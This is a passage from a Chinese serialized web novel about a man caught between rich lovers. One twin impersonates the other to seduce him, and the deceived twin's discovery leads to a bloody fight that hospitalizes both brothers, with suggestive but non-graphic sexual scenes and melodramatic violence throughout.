如果实在是做不到,你也不用勉强。反正梵星是需要大家努力才会起来。你稍微放松,也不会塌下。” 顾柘装作被鼓动的样子,勉强展露笑容:“你说的对,尽心而为,必有成就。” 门口传来响声,叶临立即跑过去。 顾柘的心脏却提到嗓子眼,不敢离开厨房。 万一是顾嘉致回来,看到他那就麻烦了。 所以现在要怎么离开这个公寓? 正在发愁时,却听到叶临翻动塑料袋的声音,嘴里还在埋怨他为什么不出来帮忙拿外卖,就知道干等。 还好是外卖。 顾柘放心走出去,坐在沙发跟叶临一起吃外卖。 老实说外卖口味糟糕,不是他爱吃的,但叶临吃得津津有味,也只能勉强自己表演出很爱吃的样子。 叶临还喜欢在吃饭的时候,看那种很吵闹的特效大片。客厅里的音响又是立体音效,吵得耳朵疼。 “打啊,就左边!” 叶临边看边做出动作,情绪激动,像个没长大的小孩,看这种土味科幻战斗片,还是会代入进去。 心理学上就有解释,如果一个人从小经历凄苦,饱受摧残,心智就会维持在孩童的水平。 整体感知力都会变得迟钝,以此忽略掉外界的攻击,从而能够存活。 这也是大脑的防御机制,生活很苦的人往往乐观,要是敏感脆弱就容易想不开,自寻死路。 叶临是私生子,从小应该过得很苦,所以心智不成熟,感知力迟钝。 不然他这种蠢货,根本活不到现在。 顾柘很烦他,但同时又觉得他可怜。 毕竟从小没过好日子,得到一点好就会很高兴。 而且叶临很瘦,像是经常不吃饱饭,单手轻易就能扣住,让他难以动弹。 他的皮肤白嫩滑溜,稍稍用力掐,就会浮现出红印。 手腕都是如此,不敢想,腰会什么样的情景? 或许就像是白墙上浮现出朵朵红玫瑰,清纯中又透出妖艳。 他还特别有活力,盘坐在沙发上,总是跟着大屏幕里的音乐晃动身体,挥动双手。 有时候看不清,还要探过身去靠近屏幕,微微塌着腰,骂里面的男主是弱智。 这时就知道,他的曲线绝对是一流的,像蜿蜒的春水。阳光下碧波荡漾,岸边的柳枝如云烟,撩动心弦。 顾柘偏过头去,没有再关注。与此同时,他拿起茶几上的水来喝。 发觉杯子里的水已经变成常温,又去打开冰箱,拿出冰水猛灌几口。 电影趋近尾声,男主死亡。戴着遮阳帽的女主看着波光粼粼的海洋,低声呢喃男主的名字,缓缓落泪。 “艹!垃圾电影!” 叶临关掉电视,用力把遥控甩到沙发角落,注意到在旁边喝水的顾柘,随手就把枕头砸过去。 “你怎么上个班就变忧愁了,今天话好少?” “你去谈业务就知道了。”顾柘稳稳地接住枕头,眼神哀怨,没好气地回应,又坐到他旁边。 “好吧,谈业务确实很难。”叶临也知道兄弟苦,只能把游戏机递过去:“来,打游戏消消火。如果有人惹你不高兴,你就说出来,我肯定帮你骂。” “额,你就只会骂了。” “那也没办法,等我以后厉害了,就帮你教训他们!” “呵呵,祝你成功吧。” “哎呀,不要丧丧的,高兴点。” 叶临不自觉靠到他的身上,让他看游戏机里面的画面。 顾柘的身体僵硬,很想推开这个没有边界感的家伙,但为了瞒住身份,只能勉强自己接受。 是简单的双人对决游戏。 往常叶临都要胜过顾嘉致,不给他赢,还会抱怨耍赖,但今天他故意犯错误,让顾嘉致赢。 而且他还要躺在顾柘的腿上,晃动着大叫起来:“哇,你怎么变厉害了!” 顾柘看着游戏画面里的获胜标语,感觉自己像是在陪智障人士做康复活动,倍感无语。 叶临觉得他的朋友伤心,就会想方设法地让对方开心,所以语气也会夸张。 朋友的表情没有变化。 他顿时很着急,只好挠腰腹的肉:“你开心点嘛,不要板着脸。我都输给你了,还说了那么多好话,你还难受啊?” 顾柘知道这个时候不能假笑,否则绝对会出戏。 他现在的人设是疲于工作的创业者,只能故作忧愁:“我开心了。” 叶临不相信,只好叹气:“你说,为什么创业不能一夜之间就成功呢?我不想勉强自己,也不想你吃苦。 就想突然有一天,我们都很有钱很有钱,可以每天躺在这里打游戏,出去就是人人敬仰的成功人士。” 他的眼睛是茶褐色,从高处看下去,会随着阳光散出不同的光芒,明亮如宝石。 可能在外面是最廉价的那一种,在这个公寓里又会显得弥足珍贵。 顾柘的呼吸频率上升,能够听到自己的心跳声。 他怀疑自己出现了幻觉,不然为什么会觉得眼前的叶临用了柔光滤镜,头发丝边缘都在发光,脸上也没有任何瑕疵。 而且,他好像有点明白,为什么顾嘉致会痴迷叶临了。 原来叶临在顾嘉致面前,是善解人意的,会考虑到对方的心情,而做出多种改变。 也是单纯诱惑的,会穿着可爱的睡衣,靠进怀里做出各种动作。 更是温柔体贴的,会察觉到他的心情失落,放缓自己的语气,想尽办法逗他开心。 是演的吧! 顾柘立即做出了结论,但又很快否定了自己的判断。 很明显叶临是发自内心的,毫无表演痕迹。所以,哪怕顾嘉致没有钱,创业很辛苦,也要陪在身边。 那他真心喜欢顾嘉致,为什么还要跟梁文乐谈恋爱? 是因为顾嘉致嫉妒梁文乐,所以要帮顾嘉致报复朋友吗? 他很清楚顾嘉致的性格,就是小心眼,一直嫉妒梁文乐。 “你这么心疼我,怎么还要去跟梁文乐谈恋爱?”顾柘顺势问出来。 “哎呀,你不是都猜到了嘛。我要骗梁文乐的钱投资梵星,帮助我们两个人成功啊。” 叶临抬手去玩他的衣服,想法恶劣,眼神却天真:“我和你说,你不要再猜忌我了。 在我心里,梁文乐连你的一根头发丝都比不上。等梵星流水过千万,我马上就踹掉他,烦都烦死了!” 顾柘隔着衣服感觉到痒意,心脏也像是绿色原野,被风泛起涟漪。 “其实我特别懂你的。明明长得一样,但你爸妈就偏心你哥哥,还把家里大部分资源都交给他,真恶心!既然一碗水端不平,就不要生啊! 你放心好了,以后你有自己的一番事业,比顾氏还大,到时候狠狠打脸,让他们知道你的厉害。” 顾柘真不觉得爸妈偏心,明明就是按照能力分配资源。他的能力远远强过顾嘉致,理应拿到家里的大权,客观公平。 顾嘉致不反省自己,怎么好意思跟叶临抱怨是爸妈偏心?这个没用的弟弟,就知道向外归因! “好好好,以后让他们知道我的厉害。” 还是很敷衍,应该是被那些老板折腾惨了。 叶临忽然想到,以前顾嘉致不高兴,老是让他亲,于是突然起身去吻。 他搂住顾嘉致的脖子,好一会儿才放开:“你好一点没有?” 顾柘愣住,说不出话。 叶临靠着他的肩膀,低声抱怨:“顾嘉致,说句实话,你是我来到这里,遇到最好的一个人了。我希望我们以后都能飞黄腾达,一直在一起。” 顾柘低声问:“一直在一起吗?” 叶临忽然很想跟他亲近,抬手去抓:“对啊,一直在一起。” 这瞬间,顾柘多么庆幸弟弟没有听到叶临这段告白,不然肯定会被迷死。 “切,还装伤心呢,不是照样有反应。” “你!” 顾柘没想到叶临会这样直接,措手不及。 然而叶临已经身经百战,轻易就能够勾起顾柘埋藏已久的想法。 男人都是臣服于快乐的动物,全身也会下意识地偏向于喜欢的人。 梁文乐虽然被教导好了,但还是寡淡。沈邵是过度重视技巧,反而艳俗。只有顾嘉致最为契合,不浓不淡,一切都正好。 叶临刚刚贴近,就已经回忆起之前的快乐,于是低头主动帮。 顾柘纯粹没经验,哪里能够经受得住。但他的克制能力一向很好,没有陷入劣势。 反而抬手去压制。 叶临随即咳嗽起来。 叶临面对顾嘉致可没有多少服务意识,立即推开,红着脸大骂:“靠,我今天心血来潮帮你,就以为我愿意伺候你了,居然敢这样对我!” 顾柘灵机一动,连忙把他抱起来亲,低声讨好:“都是我的错,别生气了好不好?” 叶临用力拍他的脸:“少说这种油腻的话,干正事要紧。” 顾柘其实很纠结该不该做这种事情,但手已经被带过去。 面上虽然不显,但他的耳尖已经红透了。 实在是难以想象,他居然会跟叶临 叶临早就会自助,没多久就靠进他的怀里了,拧着手背肉,要求他按照自己的想法行动。 顾柘下意识地顺从。 他的领悟能力很强,一次错,第二次就会立刻反应过来,进行更正。 叶临疑惑顾嘉致去外地久了怎么会生疏,但这个时候大脑总是会迟钝一些,没有多加思考。 “看吧,这样,我们两个人心情都很好。” “我” “但你这次生疏了好多” 顾柘不敢再让他猜疑下去,连忙行动,让他说不出话。 结束一轮后。 叶临大汗淋漓。 他就靠在顾柘怀里休息,抬手去摸脸颊:“你皮肤这么好,黑眼圈都没了。” 这时门口传来“滴”的开门声。 顾柘正是面对着玄关的位置,就像是听到了警笛,心陡然提起来。 果然是顾嘉致! 他开门进来,目光扫到沙发,手里的礼物瞬间落地,发出沉重的响声。 第33章 第33章叶临认不出他和哥哥 顾嘉致昨天疲惫不堪,不小心在候机厅睡着,错过航班,只能早上醒来重新订票。 他还去买了当地好吃的特产,想带回来跟叶临一起品尝,再看部电影,尽享甜蜜二人时光。 在他的想象中,柔和的晨曦透过落地窗,照亮客厅。 他和叶临会在沙发肩靠着肩,头挨着头,说些心里话。比如,他会抱怨在公司里的苦楚,叶临就安慰他,鼓励他。 同时,他还会逼迫叶临,缠着要甜头。 紧接着他们会拥吻,难舍难分。 可是他真没有想到,会在客厅看到叶临躺在顾柘的怀里,神情放松,就像小猫在寻求主人的安慰。 顾柘跟他有同样的脸,躺在沙发上,某一瞬间真的幻视自己。 可以想象,刚刚顾柘代替他,跟叶临共度了多美好的时光,享受了多少亲昵。 叶临会主动亲他,跟他打游戏,跟他温柔地说话,偶尔发发脾气踹几脚。 可这些明明是他辛苦好几天应该得到的温存,现在却被顾柘鸠占鹊巢,全部偷走! “靠,你让谁进来了?” 叶临听到响声,后知后觉反应过来,坐起来去看玄关处。 可是没等他看清人影,顾嘉致就已经走到跟前,朝着顾柘猛地砸下一拳。 叶临见对方来势汹汹,吓得连忙逃向旁边。 速度太快了,顾柘身上还压着叶临,哪怕扭头,都没有完全躲开。 左脸挨了一拳,浮现出青痕。 “顾柘,你是故意的吧!”顾嘉致握紧拳头,再次锤下去。 “顾柘?”叶临复述这个名字,大脑有一瞬间是懵的。 “为什么从小到大都是这样。只要是我喜欢的,你都要抢!小时候是玩具,长大后是叶临。” 顾嘉致还想去打,这次却被接住拳头。 “你是蠢猪吗?”顾柘用力将他推开,连忙整理着装,看向旁边的叶临:“如果叶临无意,我怎么可能会在这里?” 顾嘉致往后踉跄几步才停下来,看向叶临,欲言又止。 他心里真的很难受,比看到叶临跟梁文乐亲热还要痛苦。 倘若只是梁文乐,那只有嫉妒,可现在是顾柘,那就还有失望落寞。 “不是,你们?”叶临左看右看,试图从两张同样的脸上找出不同,最后还是靠眼神确定。 面前这个濒临崩溃的是顾嘉致,而在沙发上衣衫不整的是顾柘。 那,那,那刚刚他是和顾柘? 叶临的脑子乱成毛线,紧接着怒气上涌,脸颊随之涨红。 顾柘的速度很快,瞬间就恢复到正常着装的样子,冷笑一声,看向他的弟弟:“顾嘉致,你以为叶临对你是真心的吗。 他这种骗子,只要有钱,随时随地都可以付出所谓的真心。刚刚他还靠在我怀里说,虽然是双生子,但还是更喜欢哥哥,弟弟太废物了。” 对于顾柘来说,这种混乱的场面不值得害怕。反而可以加以利用,让顾嘉致伤心破防,从而乖乖回家。 叶临拿起杯子朝着顾柘砸过去:“顾柘,你别血口喷人了,我根本没说!是你骗我,你装成顾嘉致的模样骗我!” 顾柘避开杯子,继续造谣:“你少装了,正常人只要认识顾嘉致超过一个月,就能够认清我们两个。你明明就是喜欢我,所以才会将错就错。” 叶临终于意识到顾柘在报复自己,想要离间他和顾嘉致的感情,从而劝顾嘉致离开梵星。 不行,他绝对不能让顾柘这个烂人得逞:“嘉致,你听我说。顾柘就是个戏精,他太会演戏了,我刚刚没有注意到。” 顾嘉致盯着他慌张的眼神,失望透顶:“小时候第一次跟梁文乐见面,他都能分出我和顾柘。” 叶临的心突然提到嗓子眼,他最清楚顾嘉致的痛处,情绪激动地解释:“你怎么能拿我和梁文乐相比! 顾柘又不会想暗害梁文乐,当然不会在梁文乐面前演戏,他就是想暗害我,所以才模仿你!” 顾柘见火势烧得更旺,继续添油:“我可不会模仿这个笨蛋弟弟,是你自己要扑上来的。你说我有钱,有能力,还掌握顾家大权,可比梁文乐厉害多了,更值得喜欢。” 叶临大喊“我没有”,可他知道自证太难了,只能看向顾嘉致:“嘉致,你比我熟悉顾柘吧?如果他品行端正,诚实守信,你就不会讨厌他。 但是你很讨厌他,所以他人品差劲。那么他说出的每一句都是蓄意编造的谎言,不值得相信!” 顾柘不想陷入自证陷阱,干脆再添一把火,于是抬手在嘴前做出ok的手势:“顾嘉致,你都不知道,这家伙技术多熟练。他刚刚还用这里帮我,啧啧啧,天生就适合被男人” 顾嘉致没有回复,直接冲上去再揍了顾柘一拳。 血液飞溅,嘴角都破了皮,半边脸瞬间就肿起来。 紧接着就是抬膝踹腹部,整个人都弯曲。 顾柘愣了一瞬,没想到顾嘉致会下重手,难以置信地问:“顾嘉致,你为了这种脚踏几只船的烂。货打我?” 顾嘉致不回复,还是继续打。 叶临抓着衣服退离战斗区域,继续骂顾柘:“你才是烂。货,还是脑瘫,被打死算了。” 双胞胎从诞生的那一刻就在母体里共存,感情要远远胜过普通亲兄弟。 哪怕会嫉妒,憎恶,都不至于成为死敌。 成长的各种时间里,他们打过无数次架,但从来没有一次,是像现在这样。 顾嘉致全程沉默,疯狂出拳,招招都是要害,不留任何情面。 顾柘刚说完,又被踹了一脚,倒在地上。头磕到沙发,头发全乱了,鼻青眼肿,狼狈不堪。 顾嘉致太熟悉哥哥的攻击路数了,还有双胞胎之间的特有心理感应,可以在他反抗之前强行封锁,不给任何机会。 很快,顾柘的鼻子飙血,右眼青紫发肿睁不开,牙齿还掉了一颗。 叶临的瞳孔微微瞪大,他没有见过这种场面,简直就像是寻仇。 顾嘉致还在打,像个沉默的机器,大脑只会履行揍人的代码。 “哈哈哈哈!”顾柘咧开嘴笑起来,牙齿里全是血沫,看起来很骇人:“你心里很痛苦,感觉半身都要撕裂了吧,所以才会这样生气!顾嘉致,你真的很搞笑! 你以为叶临拒绝12亿是真心喜欢你,其实只是他怀疑我拿不出这笔钱,还想利用你的面子去发展梵星。 但是你现在没钱了,他就勾搭上我。你现在明白了吧,他就是个人尽可夫的” 没等他说完,顾嘉致就朝着肚子猛揍一拳。 话语被强行截住,顾柘的五官扭曲,疼得吐出一大口鲜血。 五脏六腑都要被这一拳打碎了,他的脸颊全是血。 叶临觉得这血淋淋的场面吓人,还是出声解释:“嘉致,你别听他说的。我没有勾搭他,更没有想要利用你,我是真心实意想要跟你创业,发展公司。” 顾嘉致没有回应,只是继续打,冷着脸骂顾柘:“小时候我就知道,你是个虚伪的贱人,表明装得乖巧懂事,背地里阴暗猥琐!” 顾柘被打得血肉模糊,还是要笑着朝顾嘉致吐血水:“那你呢,是个可悲的废物!你一直都知道吧,任何人见过我以后,都会嫌弃你,鄙夷你,觉得你比不上我半点。 就连叶临都是这样,不然今天怎么心甘情愿地躺在我怀里撒娇呢?” 顾嘉致忽然想起小时候的很多事,眼眶慢慢泛红,鼻尖都感觉*到酸意。 顾柘抓住他愣神的这一秒钟,猛然起身反击。 只在眨眼间,顾嘉致就被掀开,砸碎玻璃茶几,倒在地上,血染红了大片地板。 顾柘冲上去跟他扭打在一起,打碎了电视屏幕,抓烂沙发。 地板上都是玻璃和瓷器的碎片,密密麻麻,像是雪地在反光。 巨大的冰箱倒地,发出响声,无数食物和饮料滚出来,弄脏地板。 天空中有血液在飞溅,还有柔软的白色棉絮,红白分明。 “顾嘉致来啊,往死里打!大不了我们都去死!” “闭嘴,这次只有你死!” “笑了,你这种废物,只有豁出性命才能杀死我!” “去死!” 就像是两头濒临死亡的野兽在撕咬,都没给对方活路。 叶临看他们打得越来越凶,血把客厅染得到处都是,眼看着就要出人命,先拿出手机拨打救护车和报警。 这场架双方都豁出命,旁人很难插不进去,更不可能用行动劝阻。 而且两个人都被血染红了,到处都是伤,根本分不清谁是谁。 “嘉致,顾柘,你们都是亲兄弟,没必要下死手吧。” “你们快点住手!” 叶临大喊两句,本着良心还是走出去,想要用行动劝阻他们。 结果一个凳子飞过来,直直砸向他的脑袋。 还好他退的快,不然就被砸出脑浆。 但肩膀还是被砸中,哀嚎一声,耷拉着肩膀看向客厅。 “其实这件事也不是很严重,别打了。”叶临这个时候都只敢劝说,不然打得更厉害。 “真的,你们听我一句劝。”叶临忍着肩膀脱臼的疼意,再次踏进客厅的区域。 他看到刺目的红,幻视命案现场,差点腿软。 而且两兄弟已经进了厨房里打,能够听到哗啦啦的水声,还有瓷器碎裂声。 “别打了,真的会出人命的!”叶临快速避开地上的碎片,想走进厨房。 突然听到门开,是救护人员和警察同时赶到。 警察将两个人制住,送上救护车。 两副雪白的担架都被染红,无法辨别面部,感觉就像两大团血肉。 医护人员使尽浑身解数帮他们紧急止血,还动用很多仪器。 叶临在跟警方解释打架原因,都不知道怎么开口,只好用双胞胎脾气火爆当借口。 毕竟是亲兄弟,伤势还严重,当事人笔录就得后续再做。警察问完他事情大概经过,就让他离开。 他们进了不同的ICU,但在同一个地方,亮起两盏灯。 叶临在长廊里焦虑地走来走去,每一秒钟就要抬头去看急救灯。 最开始还生气顾柘欺骗他,用最恶毒的话辱骂他,还有顾嘉致不分青红皂白地误会他,质问他。 可是现在都不在意了,只想求求他们两个人都抢救成功,别出人命。 在生命面前,一切恩怨都可以往后排。只要保住性命,以后康复,都可以慢慢清算。 他的胳膊脱臼了,来的时候医护人员做了包扎,现在只能用绷带吊着。 本来应该在病房里休息,但他坐不住,还是来到急救室外面等。 尽头处传来跑步声,是神情焦急的顾父顾母。 他们哀怨着地叫两个孩子的名字,声音哽咽。 顾母已经哭出来,做出祈祷的手势:“保佑我的孩子都没事啊,一定要保佑。” 顾父看了急救室,问叶临:“是你报警叫救护车的?” 叶临如实点头:“伯父,我们是朋友。我看他打架伤得太严重,实在劝不动,就报警叫救护车了。” 顾父注意到他的左手用绷带固定,于是拿出名片递给他,礼貌性地道谢:“多谢了,以后有难处可以来找我。” 叶临还是把名片推回去:“伯父没事,举手之劳。” 顾父见他态度坚决,也就没有勉强。但对这个实诚的孩子,印象很好,还是补充:“那这次医药费,我帮你报销了吧,再给你些钱当做谢礼。” 叶临点点头,感谢他的好意。 旁边的顾母已经哭得站不住,只能靠进顾父的怀里痛哭流涕:“老公啊,他们两个是经常打架,但这次怎么往死里打,太可怕了。” 顾父的眉头紧锁,愁眉苦脸:“唉,等这次事情结束后,还是要让兄弟两个好好培养感情,别总是打架。” 顾母哭得发抖:“小柘一直很懂事的,他怎么会跟嘉致打起来呢。” 顾父无奈摇头:“嘉致这个脾气就是太火爆了,肯定是他先下死手,小柘也没办法才反抗。” 叶临听完他们的话,顿时明白顾嘉致多年以来的处境,忍不住出声解释:“伯父伯母,这次是顾柘先挑衅,骂顾嘉致离开顾家什么都不是,顾嘉致才动手的。” 顾父顾母都愣了,不敢相信地看着叶临。 顾母率先问出来:“真是这样吗,小柘品性纯良,乖巧懂事,怎么会嘲讽弟弟呢?” 顾父也附和:“对啊,小柘是我看着长大的,他的脾气好,嘉致就很糟糕。这次也是,非要去创业,瞎胡闹!” 果然,偏心的人永远都意识不到自己偏心。 子女不和,多半是老人无德。双胞胎感情差,跟这对夫妇脱不了干系。 叶临见他们没救了,只能感慨一句:“现在还是祈祷他们平安吧,反正醒过来后,两个人你们都要好好照顾。” 这时顾家的其他亲朋好友也赶过来,其中就有梁文乐。 梁文乐发现叶临也在,顿时感到奇怪。 但考虑到顾父和顾母都是老古板,不接受同性恋,动作还是有所收敛,将叶临拉到外面质问事情经过。 叶临简单地编造事情经过:他偶然遇到两兄弟打架,出手阻止,还被伤到手臂,只好报警叫救护车。 梁文乐半信半疑,总觉得事情有隐情:“真的吗,你为什么能遇到他们,还刚好阻止?” 叶临想了想,强行圆谎:“那天你爸好凶,我被吓到了,都不敢去找你。顾嘉致看我可怜,就收留我。反正他是直男,我就去他的公寓住了。 谁知道,顾柘这个脑瘫突然上门,嘲讽顾嘉致是废物,不可能创业成功,然后他们就打起来了。特别凶狠,我上前阻止,手臂就脱臼了,好疼。” 说完,叶临还抬了抬手臂,结果真疼得掉眼泪。 梁文乐见状,心疼得厉害,轻轻地摸手臂,低声埋怨道:“你也是笨,他们打架就打架,你非要掺和进去做什么。他们打残疾都没事,你断手我会心疼的。” 叶临偏头去亲他的脸颊,笑起来:“文乐心疼我,那说明文乐心里有我,好开心的。” 梁文乐的耳尖微微发烫,骂他笨蛋,又心疼地去亲手背,劝他好好休息,以后不要去管打架。 原本顾氏兄弟关系就很糟糕,往死里打很正常。而且叶临都受伤了,能有什么嫌疑?总不能顾氏兄弟喜欢叶临,还舍得让他在打架中受伤吧。 梁文乐抱着叶临温存了一会儿,回到急救室门口。 他是顾嘉致的朋友,于情于理还是要在的。 不过他这个人懒,站了一会儿就要在最远的长椅坐下来,跟叶临小声说悄悄话。 他们距离顾氏亲戚有一段距离,在这时倒是不容易被听见。 梁文乐抱怨顾嘉致的家庭环境糟糕,居然才来了几个亲戚,真是小家子气。 如果是他进急救室,整个医院都要站满人,哭声不止,为他哀嚎。 听他的描述,就跟古代皇帝驾崩了,所有妃嫔奴仆大臣都得哭坟一样。 叶临暗暗吐槽夸张有病,还是忍着恶心说好话哄他:“要是文乐进急救室了,我肯定吃不下饭,睡不好觉,瘦得只剩骨头。” 梁文乐听了,心里美滋滋的,活像个被妖妃迷惑的昏君。 叶临觉得梁文乐人品差劲,好朋友进急救室,居然还在外面嫌弃,完全不着急。 梁文乐搂着他,低声问:“那要是我抢救失败,去世了,你还会再去找新的男人吗?” 叶临快吐了,还是勉强自己:“如果文乐去世了,那我也活不下去,肯定要殉情,去天堂找文乐。” 梁文乐心里欢呼雀跃,恨不得无视所有人,狂亲叶临好一会儿,但还是忍住。 他早就忘记现在是什么情形,完全沉溺进虚假的幸福里。 隔着一道急救室的厚墙,顾嘉致在墙内抢救,生死未卜;而梁文乐却要在墙外秀恩爱,还拿兄弟的生死来开玩笑。 更讽刺的是,他怀里的叶临就是顾嘉致喜欢的人,也是顾嘉致受伤的原因。 顾父顾母还在哭,旁边的亲戚安慰他们放宽心,帮忙祈祷。 梁文乐没有被沉重悲痛的氛围感染,只是觉得时间太长了,小声抱怨:“好苦,再等两分钟,我就拿你的胳膊当借口离开吧。感觉不会死,顾嘉致哪有那么倒霉?” 叶临还想等在这里,试图劝他:“这样不好吧。” 话音刚落,急救室的灯熄灭。 戴口罩的医生从里面出来,宣布病人已无生命之忧,但需要转移到重症监护室。 所有人都松了一口气,顾父顾母确认顾嘉致没事,就跟着顾柘的急救车,说尽了动人的话。 叶临看到这一幕很失望,抓着梁文乐的衣袖,低声道:“我们去看嘉致吧。” 梁文乐陪着他来到顾嘉致的房间外,透过防菌玻璃窗看到: 顾嘉致全身上下都被绷带缠满,鼻子连接呼吸机,旁边有密密麻麻的仪器。 已经分辨不出人样了,只能靠房间门口的号码牌判断这是顾嘉致。 梁文乐啧了一声,感慨他受伤真重,同时又看向旁边的顾柘房间:“顾柘有那么厉害吗,顾嘉致居然被打成这样?” 叶临连忙劝阻:“你小声点,顾柘爸妈宝贝着呢,被听到又要说你。” 梁文乐无奈地翻白眼,拿出手机跟朋友们分享这次八卦,播报顾嘉致被哥哥暴打的惨状。 还夸下海口,等到顾柘康复,他就帮顾嘉致打回来。 朋友们当然是夸赞他讲义气,够厉害,提供满满的情绪价值。 叶临没有心情玩手机,手心贴着玻璃,盯着房间里的顾嘉致看。 眼睛里已经有泪花在闪烁,堪堪忍住,没有流下来。 他旁边有梁文乐在,什么话都只能在心里默默地说: “真无语,谁让你误会我,现在重伤起不来吧。” “我跟你一样讨厌顾柘,不可能跟他好的。” “我就是太信任你,顾柘假扮成你,才会上当啊。” “你爸妈真偏心,就只知道关心你哥。” “顾嘉致,你要快点好起来。” “我说真的,你是我遇到最好的人了,一定要长命百岁。” 叶临在心里念到这里,眼眶泛红,已经很想哭了。 梁文乐在旁边抱住他,凑到耳畔低声道:“我们回去吧,我爸这几天要去国外出差,才没空管我们呢。” 叶临还想再呆在这里,打算再找些借口,可是开口就哽咽,都不敢说话。 梁文乐见他没反应,就轻轻地咬耳朵,笑着吓唬他:“再不走,我就抱你走了。到时候吓那两个老古板一大跳!” 圆形的玻璃窗映出他们贴在一起的身影,倘若顾嘉致睁开眼就能看见这对情侣站在门外恩爱。 还好,他暂时睁不开眼。 所以也看不到,叶临被梁文乐牵着手离开,目光却恋恋不舍。 第34章 第34章顾嘉致醒了 回到别墅后,叶临心不在焉,下车的时候差点摔下去,还是梁文乐及时把他扶住。 “你怎么走路不看路啊?” “抱歉,我刚刚在走神。” “算了,你牵着我,别乱走,免得摔了。” 梁文乐扶着他,小心地避开难走的路段,慢慢地走进别墅里。 圆圆有好几天没看见叶临,快速跑上来,蹭蹭叶临的小腿叫起来。 梁文乐蹲下去摸摸圆圆的头,告诉他叶临受伤了,这几天要安静,别乱跑。 圆圆很聪明,抬眼去观察叶临的手臂,发出哀伤的叫声,似乎很着急。 叶临轻声告诉它不用担心,喂它吃了点零食,就朝着二楼走去。 由于左手受伤,他在洗漱间耽误了很久。 梁文乐没耐心,没看见他出来,就走过去催促:“你好慢!” 叶临扭头无奈地解释:“文乐你等等,我手臂不太方便。” 梁文乐注意他单手拿着药膏准备挤,忽然想到叶临手臂脱臼,自己催促病人太过分,于是走过去拿过药膏和牙刷:“行了,我帮你刷牙吧。” 叶临受宠若惊,真没想到梁文乐会换位思考:“算了吧,这还是不麻烦文乐了。” 梁文乐拿着挤好牙膏的牙刷已经半蹲下来,放进他的口腔里按下开关。 虽然是电动牙刷,但他觉得还是要人工辅助一下。 半蹲的姿势不好受,但梁文乐还是坚持完全程,再用柔软的毛巾帮叶临洗脸,仔细擦拭每一处。 甚至,他还要帮叶临涂上美容皮肤的产品,精心护肤。 一套流程下来,叶临的皮肤吹弹可破,比平时还要好。 梁文乐满意地低头去吻,将叶临抱进怀里,低声吩咐:“你手受伤了,以后洗漱都叫我吧。” 叶临难得有机会使唤他,当然乐意:“好啊,那麻烦文乐了。” 梁文乐想了想:“你要上厕所也叫我吧,我帮你。” 叶临羞得脸颊涨红,说话都结巴:“那,那是算了吧。” 梁文乐故意从后面抱住他,做出示范:“就要帮嘛,单手多不方便。” 叶临挣扎得想出去,又被梁文乐轻易制住,只好劝:“文,文乐不用的,我可以自己来的。” 梁文乐听说情侣亲密就会这样帮忙,也想试试,可叶临不满足他,那就只能威胁了:“你现在就是不喜欢我了,只是让我帮忙,都不愿意!” 叶临闻到硝烟的气味,预感梁文乐要发火,连忙解释:“文乐,你听我说,这样不干净,我还是自己来吧。” 梁文乐偏要无理取闹:“我恨死你了,不让我帮忙,那我就要罚你!” 叶临被他训得没脾气,习惯性妥协。 于是睡觉之前,他就被抱进厕所,捂着脸被梁文乐帮忙。 单个手掌遮不住脸上的绯红,耳朵都红透了,烫得非常厉害。 害羞的叶临,实在是太可爱了! 梁文乐很喜欢,低头去亲耳垂,故意调侃:“哎呀,你快点,我们还要睡觉呢。” 叶临都不敢低头去看,羞得声音都小了:“你在这里,我没有感觉。你还是出去吧,我自己能行。” 梁文乐的坏心眼被这个声音勾出来,故意抬手:“那我帮帮你吧。” “别,别啊!” “文,文乐” 叶临几乎是瘫在他的怀里,完全站不住。 后面颤抖着身体,强行捂住脸,不想被人看见自己的面部表情。 梁文乐还要撤下他的手看表情,偏头亲脸颊,嘲笑道:“你好健康啊,嘿嘿。” 叶临羞愤难堪,好想大骂他不要脸,但只能忍住。 清理完又擦了最喜欢的香香,梁文乐才抱着他进卧室。 睡前还要黏在一起,疯狂亲亲。 叶临感觉梁文乐得了肌肤饥渴症,离开他就会难受,真是无语。 还好没有折腾多久,他能躺下来睡觉。 梦里他看见顾嘉致,还是在那个客厅里。 顾嘉致眉眼低垂,失魂落魄,眼眶泛红,声嘶力竭地质问他:“为什么分不清我和顾柘?” 他紧张地解释,找了各种借口,但都没看见顾嘉致的表情有所变化。 顾嘉致的脸色越来越难看,不断地重复:“别人都能认出来,为什么你认不出?” 他刚开始还在解释,后面太累了,干脆放弃,甚至还觉得烦躁。 顾嘉致笑了片刻,眼泪很快落下来,而后绝望地看向他:“叶临,我要让你后悔,让你以后再也见不到我!” 话音刚落,顾嘉致的身影远去,化作白色云烟消失。 醒来的时候,叶临浑身都出了冷汗,吓得赶紧下床,准备去医院看看顾嘉致。 他真的好怕顾嘉致突然就没了。 梁文乐听到动静,眯起眼睛去看,发现叶临在艰难地穿衣服:“你起这么早做什么啊?” 叶临本来想偷偷去,见梁文乐也醒了,只好撒谎:“我睡不着,想出去走走。” 梁文乐抱怨他不正常,还是坐起来,挪到他面前帮忙穿衣服。 “都说了,有什么事情不方便就叫我啊。你一只手怎么穿衣服嘛。” “我,我不想麻烦文乐。” 叶临配合地动手抬脚,感觉自己像是在梦里。 以前他可不奢望梁文乐会帮忙穿衣服,生病不添乱都好了。 再说,他也没有伺候过梁文乐穿衣服,所以想不到这一层。 “有什么麻烦的,情侣之间就是要互相照顾。我前段时间脸受伤,你不就照顾我了吗,现在就换我照顾你。” “额谢谢文乐。” 叶临还是不敢相信,这居然是大少爷梁文乐? 不过说起来,梁文乐跟刚认识的时候比起来已经发生很多变化。 最开始的梁文乐会嫌弃他,用各种语言辱骂他,还会恶意整蛊他,不照顾他的感受。 可是现在的梁文乐已经很少会用语言辱骂,最多是嘲讽两句,而且还会给他送钱,偶尔考虑他的感受。 梁文乐的动作细心,还帮他把领口弄整齐,调正腰线的位置,再加上一些小配饰,就像是在精心打扮自己的漂亮娃娃。 完成后,梁文乐就要凑过去指了脸:“那你亲亲我,以示感谢。” 叶临熟练地低头,在嘴唇处落下一个吻。 紧接着就被捞进怀里,像是掉落进水里,难以行动,发不出声音。 分开的时候,叶临的脸颊泛红,呼吸不稳。 他惦记着顾嘉致的安全,还是提议:“文乐,我们去医院看看顾嘉致吧,毕竟是你的朋友,而且也帮过我。” 梁文乐原本很满足,可是听到他这句话,脸色就变了,用力戳戳他的心口:“所以你早起,就是为了去医院看顾嘉致。你搞清楚,我才是你男朋友,怎么担心别的男人?” 